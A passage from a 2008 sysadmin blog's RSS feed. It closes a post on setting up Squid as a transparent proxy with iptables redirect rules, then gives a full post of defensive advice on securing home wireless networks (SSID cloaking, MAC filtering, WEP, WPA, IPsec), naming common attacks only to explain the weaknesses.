<p><strong>Squid transparent proxy configuration</strong></p>
<p>Your first step will be to modify your squid.conf to create a transparent proxy. The procedure is different depending on your version of Squid. In older versions of Squid ( &lt; 2.6), transparent proxy was achieved through the use of the httpd_accel options which were originally developed for http acceleration. In these cases, the configuration syntax in <em>squid.conf</em> would be as follows:</p>
<pre>httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on</pre>
<p>Newer versions of Squid simply require you to add the word &#8220;transparent&#8221; to the default &#8220;http_port 3128&#8243; statement. In this example, Squid not only listens on TCP port 3128 for proxy connections, but will also do so in transparent mode.</p>
<pre>http_port 3128 transparent</pre>
<p><strong>Configuring iptables to support the Squid tansparent proxy</strong></p>
<p>In this example, assuming the Squid server and firewall are in the same server, all HTTP traffic from the home network is redirecting to the firewall itself on the Squid port of 3128 and then only the firewall itself has access the Internet on port 80.</p>
<pre>iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 3128
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i eth1 -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -o eth1 -p tcp --sport 80</pre>
<p><strong>Note:</strong> This example is specific to HTTP traffic. You won&#8217;t be able to adapt this example to support HTTPS web browsing on TCP port 443, as that protocol specifically doesn&#8217;t allow the insertion of a &#8220;man in the middle&#8221; server for security purposes. One solution is to add IP masquerading statements for port 443, or any other important traffic, immediately after the code snippet. This will allow non HTTP traffic to access the Internet without being cached by Squid.</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2008%2F11%2F04%2Fconfigure-squid-to-control-web-access%2F&amp;title=Configure+Squid+to+control+web%26nbsp%3Baccess"></a>
<p>Reference:</p>
<p>http://www.squid-cache.org/</p>
<p>Special thanks to Peter Harrison.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/82/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=82&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2008/11/04/configure-squid-to-control-web-access/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Securing your wireless network</title>
		<link>http://saguide.wordpress.com/2008/10/26/securing-your-wireless-network/</link>
		<comments>http://saguide.wordpress.com/2008/10/26/securing-your-wireless-network/#comments</comments>
		<pubDate>Sun, 26 Oct 2008 09:53:45 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[sniff]]></category>
		<category><![CDATA[spoof]]></category>
		<category><![CDATA[ssid]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wpa.ipsec]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=65</guid>
		<description><![CDATA[Wireless networking products are so ubiquitous and inexpensive that just about anyone can set up a WLAN in a matter of minutes with less than 10,000 rupees ($100) worth of equipment. This widespread use of wireless networks means that there may be dozens of potential network intruders lurking within range of your home or office [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=65&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Wireless networking products are so ubiquitous and inexpensive  that just about anyone can set up a WLAN in a matter of minutes with less than 10,000 rupees ($100) worth of equipment. This widespread use of wireless networks means that  there may be dozens of potential network intruders lurking within range of your  home or office WLAN.When you connect two computers using a wireless connection, the data is sent via radio waves on a certain channel. Thus anyone with a receiver (could be a wireless card) can analyze the data being sent. This is called &#8220;sniffing&#8221;.</p>
<p>Most WLAN hardware has gotten easy enough to set up that many users  simply plug it in and start using the network without giving much thought  to security. If you are running an &#8220;open&#8221; network, a cracker with a laptop can listen in and analyze everything that you are doing online online &#8211; the websites you visit, the emails you send, even the usernames and passwords you exchange with servers. After connecting to your network, he may be able to scan and connect to other machines as well. Sharing your WiFi by keeping your access point &#8220;open&#8221; is regarded as nice, but there are instances where you want to secure your data.  Here are some of the things you can do to  protect your wireless network:</p>
<p><strong>SSID cloaking</strong></p>
<p>Wireless networks identify themselves by a SSID, which can be something like &#8220;<em>mynetwork</em>&#8220;. Computers with a wireless card whose SSID is set to &#8220;<em>mywireles</em>&#8221; can connect to each other. Access points send out periodic beacons which are meant to indicate their presence. These beacons also usually broadcast the respective SSID. Thus anyone with a sniffer can find out that there is a network with a &#8220;open&#8221; SSID and connect to that. A basic form of security is to disable the broadcast SSID. When this is done, the access point doesn&#8217;t identify it self when sending out his beacon packets. An intruder who doesn&#8217;t know the SSID wont be able to connect to the network. The weakness of this method is that the network&#8217;s SSID is sent via other data packets as well. If you listen long enough to the communications between two networks, the SSID can be easily found, making connecting as easy as before.</p>
<p><strong>MAC address filtering</strong></p>
<p>A MAC address is the hardware address of the wireless card. The network uses this to identify where to send data packets. If you have a wireless network with a router and two wireless cards connected to it, you will see two machines connected with two unique MAC addresses. (Here is an example for a MAC address &#8211; 00:1C:F0:3A:39:12). Since a MAC address is unique for each network card (like a finger print), another method of security is to ask the wireless router  to accept connections only from certain MAC addresses. Using this method, you could ask the router to only connect machines known to you.</p>
<p>The weakness in this method is that you can set the hardware MAC address of a wireless card  to what ever you wish. If an attacker listens to a wireless network for long enough, he can get a list of connected computers along with their MAC address. Then all he has to do is to wait till one of the computers disconnect from the wireless access point and set his wireless network card&#8217;s MAC address to that number and connect to the network.  As far as the access point is concerned, the new connection will be from a known client. This technique is called &#8220;<em>MAC address spoofing</em>&#8220;.</p>
<p><strong>WEP </strong>(<strong>W</strong>ired<strong> E</strong>quivalent<strong> P</strong>rivacy)</p>
<p>This is a security method where the computers in a wireless network use a pre-shared security key to <a title="What does enryption means?" href="http://en.wikipedia.org/wiki/Encryption" target="_blank">encrypt</a> data. Since the data is encrypted before transmission you cannot <a title="What does decrypt means?" href="http://en.wikipedia.org/wiki/Decrypt" target="_blank">decrypt</a> WEP enabled network traffic if you don&#8217;t have the access key. The problem with WEP is a design limitation &#8211; it is inherently insecure at high volumes of traffic. If you have enough data that is transmitted in a WEP encrypted network, you can subject the data obtained o a statistical analysis and guess the security key with near one hundred percent accuracy. Once you have obtained the key, the network is completely decrypted and can be accessed  like an &#8220;open&#8221; network. Because of these problems, security experts no longer recommend the use of WEP for securing a network. But, if you find that some of your  wireless devices only support WEP encryption (this is often the case  with non-PC devices like media players, PDAs, and DVRs), avoid the  temptation to skip encryption entirely,  using WEP is still far superior to having no encryption at all.</p>
<p><strong>WPA</strong> (<strong>W</strong>ireless <strong>P</strong>rotected <strong>A</strong>ccess)</p>
<p>Due to the weakness of the WEP system, a stronger security model was needed. The WPA encryption method is much stronger than WEP and is more resistant to attempts at guessing the security key. However one weakness in WPA is the use of weak passwords. An attacker can guess the security key by subjecting captured WPA authentication packets to a dictionary attack. However, WPA is a secure method far superior to WEP if you use a proper password with alternating letters and numbers and no dictionary words.</p>
<p><strong>IpSec</strong> (IP Security)</p>
<p>This is the strongest security method available. IpSec is initiated by the computers connected to the network themselves, independent of the medium of transmission (wired or wireless). This method can be used to establish a secure encrypted channel of communication between two computers. The data is authenticated as well, meaning that no outsider is able to insert data packets or generate false packets. The disadvantage of IpSec is that it is difficult to setup without trained, professional help.</p>
<p><strong>Remote administration</strong></p>
<p>Most WLAN routers have the ability to be remotely administered via the  Internet. Ideally, you should use this feature only if it lets you define a  specific IP address or limited range of addresses that will be able to access  the router. Otherwise, almost anyone anywhere could potentially find and access  your router. As a rule, unless you absolutely need this capability, it&#8217;s best to  keep remote administration turned off. (It&#8217;s usually turned off  by default, but it&#8217;s always a good idea to check. <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )  Although wireless network security has always been problematic, viable solutions are slowly emerging.</p>
<p>Although IpSec is by far the most secure encryption method to use on the network, I also recommend WPA for combining both security and ease of setup.</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2008%2F10%2F26%2Fsecuring-your-wireless-network%2F&amp;title=Securing+your+wireless%26nbsp%3Bnetwork"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/65/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=65&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2008/10/26/securing-your-wireless-network/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
	</channel>
</rss>
